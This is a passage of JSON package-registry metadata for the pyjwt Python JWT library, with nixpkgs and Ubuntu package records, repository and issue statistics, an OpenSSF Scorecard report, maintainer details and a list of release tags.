tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.341Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python313Packages.pyjwt?channel=unstable","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python313Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python313Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python313Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":27,"html_url":null,"role":null,"created_at":"2026-03-07T19:25:05.478Z","updated_at":"2026-03-07T19:25:05.478Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-unstable","url":"https://channels.nixos.org/nixos-unstable","ecosystem":"nixpkgs","default":true,"packages_count":148656,"maintainers_count":4717,"namespaces_count":0,"keywords_count":2908,"github":"NixOS","metadata":{"funded_packages_count":1599},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:52.762Z","updated_at":"2026-06-10T05:16:03.119Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/namespaces"}},{"id":13411140,"name":"pyjwt","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-06T20:16:48.248Z","latest_release_published_at":"2026-02-06T20:16:48.248Z","latest_release_number":"2.3.0-1","last_synced_at":"2026-03-06T20:45:10.996Z","created_at":"2026-02-06T20:16:47.766Z","updated_at":"2026-05-29T04:00:36.373Z","registry_url":"https://launchpad.net/ubuntu/+source/pyjwt","install_command":"apt-get install pyjwt","documentation_url":null,"metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.5.1","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, python3-all, python3-cryptography (\u003e= 1.4), python3-pytest (\u003e= 3.9.0), python3-pytest-cov, python3-pytest-runner, python3-setuptools","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.